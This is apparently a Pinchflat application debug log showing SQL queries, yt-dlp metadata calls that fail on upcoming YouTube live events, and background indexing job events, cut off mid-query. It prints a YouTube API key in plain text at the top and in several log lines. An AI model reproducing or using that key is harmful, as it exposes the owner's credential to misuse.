AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:56:55.870 [debug] QUERY OK source="media_items" db=0.6ms idle=132.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [19, "KlkTi0h6KMw", "RMeAu8zYE0M", "Uvtj9sm0I-0", "IU1DgFBs7ts", "EkRq1nMOx9g", "DrDbZGDQIro", "hW4dvJT12VM", "B3vnE_bMu9g", "H4LWdyhRxIQ", "2Hm7RVlLJoE", "EfV91BjF5v4", "zL_s6dKitH0", "LzpVMWSROmY", "FaAHxpEdNck", "ToiduPpGIww", "nJ8fAfVevL8", "5jD4iU2_v4k", "IOuEO4Yaov0", "9sDIniWlIyw", "6VEm1oEv2UY", "gPyD2VYszUw", "zx5EqJCeYrk", "TbNdF9p7ZFY", "XiYTS435uuk", "b4CKcXNSNRc", "jAOobWqKaPQ", "yb5ybMem31Y", "5tPjlkyHJwI", "TlTDor_WXEo", "xnsHAYTNP5Y", "ojEWbNH0U_4", "4BvLKmBYOOo", "pMx1DnSn-eg", "Fp79NGnQBEw", "XUsoHp6_t2s", "VkZH3QYqD6U", "i55Pa_l8Xe8", "J7KVJ8D0AM8", "vlgFGxnHNMA", "Aa3KtmGEby4", "paX6IcPZPjM", "RvUrQWeK558", "n2qu3sMwexE", "hr7YFJ8iBL8", "YAhQJ08bzgs", "oPWfOh0LYZk", "h5Ya_mmFguc", "zfnBUM-LZNA", "T2r1B-dkbnk", ...] 17:56:55.871 [debug] QUERY OK source="settings" db=0.0ms idle=133.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:55.871 [debug] QUERY OK source="settings" db=0.0ms idle=133.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:55.871 [debug] Running yt-dlp command for action: get_media_attributes 17:56:55.871 [debug] QUERY OK source="settings" db=0.0ms idle=133.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:55.871 [debug] QUERY OK source="settings" db=0.0ms idle=133.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:55.871 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:55.872 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/1d/32/1d32e1cb7d6e76360265a4da08b105fc71127fb24970bd2065dd6dc84826f499.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:56:57.247 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/1d/32/1d32e1cb7d6e76360265a4da08b105fc71127fb24970bd2065dd6dc84826f499.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments. 17:56:57.247 [error] Error creating media item 'hW4dvJT12VM' from URL: {:error, "ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments.\n", 1} 17:56:57.247 [debug] QUERY OK source="settings" db=0.1ms idle=515.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:57.247 [debug] QUERY OK source="settings" db=0.0ms idle=369.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:57.247 [debug] Running yt-dlp command for action: get_media_attributes 17:56:57.267 [debug] QUERY OK source="settings" db=0.1ms idle=389.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:57.268 [debug] QUERY OK source="settings" db=0.1ms idle=389.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:57.268 [debug] QUERY OK source="settings" db=0.0ms idle=389.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:57.268 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/4c/87/4c87c8115c7198130c068e047193f6a7e9000f187e76b987045958803505a84a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:56:58.601 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/4c/87/4c87c8115c7198130c068e047193f6a7e9000f187e76b987045958803505a84a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments. 17:56:58.601 [error] Error creating media item 'b4CKcXNSNRc' from URL: {:error, "ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments.\n", 1} 17:56:58.601 [debug] QUERY OK source="media_items" db=0.4ms idle=1353.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [19] 17:56:58.602 [debug] QUERY OK source="tasks" db=0.1ms idle=1334.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800323, 19, ~U[2026-02-10 23:56:58Z], ~U[2026-02-10 23:56:58Z]] 17:56:58.602 [info] {"args":{"id":19},"id":3800284,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":2865951,"event":"job:stop","queue_time":426490,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:00.007 [info] {"source":"oban","duration":11739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:00.108 [info] {"source":"oban","duration":136,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:57:09.751 [info] {"args":{"id":15},"id":3800285,"meta":{},"system_time":1770767829751883615,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:09.751 [info] {"args":{"id":42},"id":3800286,"meta":{},"system_time":1770767829751929514,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:09.752 [debug] QUERY OK source="sources" db=0.2ms idle=1873.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 17:57:09.752 [debug] QUERY OK source="settings" db=0.1ms idle=1007.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:09.752 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:09.752 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:09.752 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 17:57:09.753 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:09.753 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:09.753 [debug] QUERY OK source="sources" db=1.1ms idle=1873.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 17:57:09.753 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:09.753 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:09.753 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:09.753 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 17:57:09.753 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:09.753 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:09.957 [debug] QUERY OK source="media_items" db=0.7ms idle=203.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", "ByK18GA2DZk", "YJgcAP3WHzM", "B0PiIsgmsTo", "O5myIiXLqug", "R6fZRX7mnEg", "Su5etRwlI-s", "ckwtQLlXZYQ", ...] 17:57:09.958 [debug] QUERY OK source="media_items" db=0.4ms idle=204.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 17:57:09.959 [debug] QUERY OK source="tasks" db=0.1ms idle=205.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800324, 15, ~U[2026-02-10 23:57:09Z], ~U[2026-02-10 23:57:09Z]] 17:57:09.959 [info] {"args":{"id":15},"id":3800285,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":207636,"event":"job:stop","queue_time":435254,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:09.965 [info] {"args":{"id":13},"id":3800287,"meta":{},"system_time":1770767829965633381,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:09.965 [debug] QUERY OK source="sources" db=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 17:57:09.966 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:09.966 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:09.966 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:09.966 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 17:57:09.966 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:09.966 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:09.999 [debug] QUERY OK source="media_items" db=0.1ms idle=33.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?)) [42, "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 17:57:09.999 [debug] QUERY OK source="media_items" db=0.1ms idle=33.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 17:57:10.000 [debug] QUERY OK source="tasks" db=0.1ms idle=33.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800325, 42, ~U[2026-02-10 23:57:10Z], ~U[2026-02-10 23:57:10Z]] 17:57:10.000 [info] {"args":{"id":42},"id":3800286,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":248576,"event":"job:stop","queue_time":357529,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:10.006 [info] {"args":{"id":22},"id":3800288,"meta":{},"system_time":1770767830006666950,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:10.006 [debug] QUERY OK source="sources" db=0.1ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 17:57:10.007 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", 